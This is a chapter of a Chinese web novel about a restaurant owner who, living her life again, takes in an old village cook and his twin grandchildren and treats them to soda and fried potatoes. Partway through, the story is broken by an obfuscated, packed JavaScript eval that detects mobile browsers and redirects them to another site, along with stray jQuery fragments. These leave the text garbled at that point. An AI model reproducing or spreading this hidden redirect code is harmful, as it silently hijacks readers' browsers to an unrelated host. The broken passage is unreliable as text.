14. 炸土豆

作品:《九零之餐饮女王

    老爷子坐在八仙桌上,吃饭的速度明显放慢,他细瞧着眼前的这碗茶汤泡饭。


    “明美,今天的米饭怎么样?”


    小女孩见老爷子问她,碗里还剩一点饭,于是一口气全刨进嘴里,拿出一张干净的棉手帕,擦干净嘴,又将手帕叠好放进自己上衣兜里。


    “爷爷,这米饭是山泉水蒸的很好吃,但是好像掺了一些旧米,陈米容易断,整碗米饭的均匀度不是很好。好在茉莉花茶不错,茉莉窨了5次以上,这道茶汤泡饭算上乘的。”


    那小女孩认真地看着老爷子,好像在等一个回答,一个认可她的回答。


    应红有些着急,“小姑娘你可不能乱说啊,陈米我们家都是不进的。”


    沈木犀拦住应红,小姑娘一脸认真。


    “姐姐,你看这个米里有断的,新米不是这样的。”


    那小女孩儿也就和八仙桌一般齐,抬着头看着应红,指着桌上还剩下的米饭。


    沈木犀走近拿过一看,确实如此,又递给应红。


    城里人不和五谷打交道知道的少,不足为奇,但是应红从小在乡里长大,陈米旧米太清楚不过了。


    陈米口味上差不说,容易断,口感上差很多。很多节约的家庭精打细算,剩下每月的伙食费,在菜市场的粮油店里还是会选择一些陈米的。毕竟这个年代,即便是在城镇生活工作,人们一天的体力活还是干的多。家里的主要劳力一顿两碗饭是肯定的。


    沈木犀赶紧翻看自己采买清单,不应该啊,采买都是自己经手的。掺米这种事情,也过不了陈炎的手,这里面应该还有其他的事情。


    沈木犀暂时还没有头绪,看着陈炎的两个孩子,虽然穿的都是一身粗布,但是非常干净。家里一看都是有人在张罗收拾的。只是这一次,比上一世沈木犀见两个孩子时间更早。


    上一世,沈木犀是在和陈炎婚后的第五年才见的孩子,那时候围绕在沈木犀身边的声音全是生孩子。陈炎也一天天越来越不像话不着家,沈木犀总在犹犹豫豫。


    沈木犀永远记得那天,沈国华身体开始愈发不好,躺在沈园的院子里,拐着弯问沈木犀什么时候要孩子。沈木犀不搭腔。


    良久,沈木犀告诉沈国华,外面传陈炎已经要把沈家酒楼该姓陈了。沈国华也不搭腔。


    只听得秋风把整个院子吹得吱吱作响。


    其实现在想来,沈家酒楼的寒风就是从那时候就开始吹起来的。


    当时陈炎就在二人谈话的档口,把那两个孩子带进了沈园。


    9、10岁样子,小女孩儿明显比小男孩儿更高了,见到沈木犀就瞪着她。那倔强的眼神,和刚才看她爷爷的眼神一模一样的认真。


    陈炎带着两个孩子扑通一跪,跪到夜里。


    沈木犀和沈国华完全招架不住这种。


    让陈炎带着两个孩子别再踏进沈园。后来沈木犀很少见这两个孩子,听说在别处当厨,一身本领。后来两个孩子把陈家酒楼开在了沈家酒楼的对门。


    陈家酒楼开业当天,那女孩儿,盯着沈木犀看了很久……


    这么想来陈炎虽然没有完成把沈家酒楼变成陈家酒楼的愿景,但是他的一双儿女是办到了。


    而想到这里,沈木犀再看眼前,确实恍如隔世。


    沈木犀觉得奇怪,为什么老爷子对待两个孩子区别这么大。


    应红没有太注意这边的三人,顾辰也在帮忙打扫着里里外外的卫生,即便今天不开张,明天也得开门。那老爷子也很自觉,带着两个小孙子也在顾辰身后好好归置起来。


    见沈木犀回过神来,老爷子走向沈木犀。


    老爷子:“掌柜的,我是两个孩子的姥爷,是进城来寻孩子父亲的。但留下的地址不对,没找到人。钱也用完了。能不能在您这儿歇歇脚,我可以干些活儿,只要给我们爷三一个住处和三餐就行。”


    这边老爷子来意言简意赅,那边应红的耳朵都快支棱到沈木犀的跟前了。一个快步的走到沈木犀跟前,偏头小声说。


    “姐,让他们留下,这老爷子一看都懂做菜,而且明天还有预定,万一那些狗东西师兄弟们不回来,老爷子哪怕是传个菜也算是帮大忙了。”


    沈木犀还在犹豫,其实她不太清楚,万一明天陈炎又撞见了这三人会不会把沈家酒楼又搅合的鸡飞狗跳。


    他们留下能帮忙,但是……


    “我是乡厨,主做红白喜事的。我刚才跟着这个小兄弟看了一眼菜单,您家店里的菜,大致可以弄的下来。”


    沈木犀感觉自己瞬间明白了什么。


    原来陈炎的那些基本功都是前一个老丈人手把手教的。


    沈木犀见两个孩子也在乖乖地拿着比他们人还高的笤帚,有模有样地扫着。


    一切关于陈炎的坏,这一世和上一世都不应该计较在孩子身上。加上这一世,陈炎也会和自己没有关系。这对儿女或许于自己而言也就没有那些芥蒂了。


    “你看看这小姑娘得多厉害啊。”应红拿着暖水瓶倒了满满一壶的花茶水,“五次窨花都能尝出来,这究竟是什么舌头啊?你爹总是吹你小时候能尝百味,我都不信。看到她我……”应红竖起大拇指,拿过一杯热茶递给沈木犀。


    沈木犀又递给老爷子。


    “行,老爷子您留下吧,我这儿也巧了正好缺人。为了留用,您能给我做12个八宝饭吗?”


    “是谁家有孩子满月吗?”


    “对,我们晚上本来有一桌预定,但是今天开不了工了,您说您是乡厨,这个道菜您肯定可以。”


    “没问题,我来,什么时候出餐。”


    “2个小时吧。”


    “可以掌柜的。”


    “至于住的地方,我让应红安排您三位去二楼里间的库房可以吗?”


    “太感谢了。”


    应红赶忙将老爷子的包袱收到前台,将老爷子带向后厨,没走几步,老爷子停下,转身看向两个孩子。


    “他俩如果调皮,可以让他们挑黄豆。”


    老爷子看着沈木犀,一脸认真。


    “没事儿,我这会儿去一趟人民路,在展销馆买点东西。我带他倆一起去,过会回来。”


    一听到沈木犀逛街,两个孩子眼睛一亮。


    “那麻烦大当家的了。”


    做菜是专心的活儿,加上后厨里开火,很多不安全的因素,前厅现在也要忙着收拾。老爷子的担心也在理。


    沈木犀看向顾辰,顾辰会意,带着老爷子一同去后厨了。


    ******


    两世的记忆里,沈木犀还是第一次带孩子,这孩子由于是陈炎的,沈木犀既熟悉又陌生。这种感觉不别扭就怪了。


    她没法和孩子套近乎,但是也很清楚孩子们最想要什么。


    她在小明美这么大的时候最想要的就是零食、汽水。


    于是她带着两个孩子先到门口李婶那儿,给她们三个,一人买了一瓶峨眉雪汽水。


    这是一种乳清色的荔枝味汽水饮料,最近刚上市,俏得很,快把可口可乐卖过了。


    明美看着沈木犀递过来的饮料,一时不敢接,就瞧着一旁的小男孩儿抢。


    但是那小男孩儿也不会打开,于是沈木犀把另一瓶汽水塞进明美的手里。沈木犀拿过小卖店的开瓶器,当着两个小孩儿面,“砰”的打开。


    豪无预料过的声音,惊得两个孩子,身子也跟着一颤。


    二人也不敢多说话,一人接一个,学着沈木犀的样子狠狠地喝了一大口。


    但是很快,由于大量的汽冲得二人脑袋直打抖。


    于是沈木犀看着两个小人笑了出来。


    “好喝吗?”


    ”好喝!”小男孩儿点点头,看沈木犀的眼神都不太一样了,一脸大英雄的样子。


    明美则不一样,一脸不可置信的样子,似恐惧似惊讶。见沈木犀看着她,意识到要回答问题了,深思了片刻答道。


    “太好喝了!”


    明美的脸上显露出来的惊喜,沈木犀才意识到一个问题。


    明美应该从来没有吃过特别甜和刺激的味道。


    所以她的舌头是非常灵敏的,这样的训练沈木犀也有过,上一世父亲、爷爷都走后,沈木犀才意识到,时刻保持敏锐的味觉,才是沈家酒楼味道的秘密。可惜后来自己没有味觉,这一件令人沮丧的事情。


    沈木犀一时对,还在酒楼里帮忙的孩子姥爷,心生钦佩。


    于是沈木犀带着两个心满意足的小小人往人民路去了。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918753|160333||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    ******


    从沈家酒楼门前的十字路口一路向西,不到1000米的地方就是人民路的展销馆了。


    而在去往展销馆的路上,沈木犀三人路过了人民公园。


    一路上都没有说话的两个小小人在人民公园门口停住了。


    下午的人民公园门口,三五处都是卖炸土豆和凉虾的,间或还有挑着担担卖凉面的小商贩。


    沈木犀一时也被这样的场景所触动,她也好多年没有吃过炸土豆了。


    于是,她走到一个卖炸土豆的摊前坐下,又招呼两个孩子坐下。


    “小嬢嬢,三碗炸土豆。”又转头看向两双不可置信的眼睛,问“凉虾要不要?”


    小男孩儿拼命点头要,明美没摇头也没点头,就在沈木犀开口要凉虾的时候,明美开口了。


    “我不要,我还有汽水。”


    沈木犀点点头,于是又嘱咐卖土豆的小嬢嬢,“两碗炸土豆要辣椒,一碗不要,白味。”沈木犀擦着桌子,又补充“白味不要葱姜蒜。少点味精。”


    卖土豆的小嬢嬢看着这么阔绰的来客,一下点三碗炸土豆,连忙应着声,赶忙做了起来。


    那小嬢嬢摊前的桌上,除了炸土豆,还有凉面凉虾凉粉凉皮,一一摆放着,归置的很好。另一张桌子上是用玻璃长方形格子用色素调的斑斓的果冻。透过玻璃格子可以看到,果冻里码得整整齐齐的水果。有草莓、香蕉、红绿海棠果……


    五彩斑斓的果冻格子,让两个小人看得津津有味。


    这时炸土豆的小嬢嬢将水桶里养着的波浪形炸土豆,沥干水分,一股脑倒进了一锅热辣辣的菜籽油锅里。


    紧接着,那小嬢嬢用脚将煤炉子低端的盖子拨了下来,于是煤炉子上的火力加大,一股子煤球味混着浓烈的菜籽油香扑面而来。


    那小嬢嬢头都没抬,和沈木犀说话。


    “很久没有看你来了哈?”


    沈木犀正看着人民公园门口摆地摊卖的铁青蛙,一蹦一蹦,被对方的问话问得晃了神。


    “啊是啊,好久没来了。想吃你家的炸土豆。”沈木犀说着上一世在梦里的话,觉得感慨万千。


    “还有炸红薯耙。”


    “那今天没有,最近老是落雨,红苕不好。”说着那小嬢嬢将炸好的土豆全部舀进一个搪瓷盆里。她转身面对三人,又低头将面前的调料盒一一打开,嘴里念着。


    “两个红味,一个白味。白味少加味精,不要葱姜蒜。”小嬢嬢又抬头问小男孩儿。“那弟弟的是红味还是白味?”


    “我不是弟弟,我们两个一天生的。我要海椒。”小男孩儿倔强地看着那小嬢嬢。


    “哦哦哦,搞伙你们两个是龙凤胎啊。”那小嬢嬢拌着炸土豆,一脸不可思议的左看看右看看眼前的两个小人。然后把分装好的炸土豆放在了三位面前。


    “她叫陈明美,我叫陈明事。”小男孩儿盯着自己碗里炸土豆,一脸认真地说。


    “啊呀,那你们妈妈。”那小嬢嬢转头看向沈木犀,“你有福气哦,生了一对龙凤胎!”


    “她不是我们妈妈!”陈明事又看向陈明美。


    陈明美也点点头,“她……”


    沈木犀也一脸尴尬“我不是她们妈妈,我是……”


    “她是姐姐。”陈明美简单地补充着。


    沈木犀对这个会答案非常满意,揉着明美的小脑袋,看着她认真地吃着碗里的炸土豆。


    沈木犀也吃很开心,这一口带着煤炉味的炸土豆,自己在后来的岁月里再也没有吃到过了。


    明美慢慢地吃,陈明事站起来还找小嬢嬢又加了一勺辣椒。


    沈木犀扭脸问不声不响的明美“好吃吗?”


    明美抬起头看着沈木犀。


    “姐姐,这个太好吃!”


    沈木犀笑笑,好吃就行。她心里暗想,那就请认真的记住这个味道,这将会是回忆里童年最好的滋味。


    这时,人民公园门口的时钟敲了4下,沈木犀这才意识到,糟了得赶紧走了,展销馆快关门了。


    她出来是为了给晚上取消订餐的满月酒那家,买礼物晚上打算登门赔礼的。


    那是自由路的老胡,满月酒给人临时取消,实在是太不好了。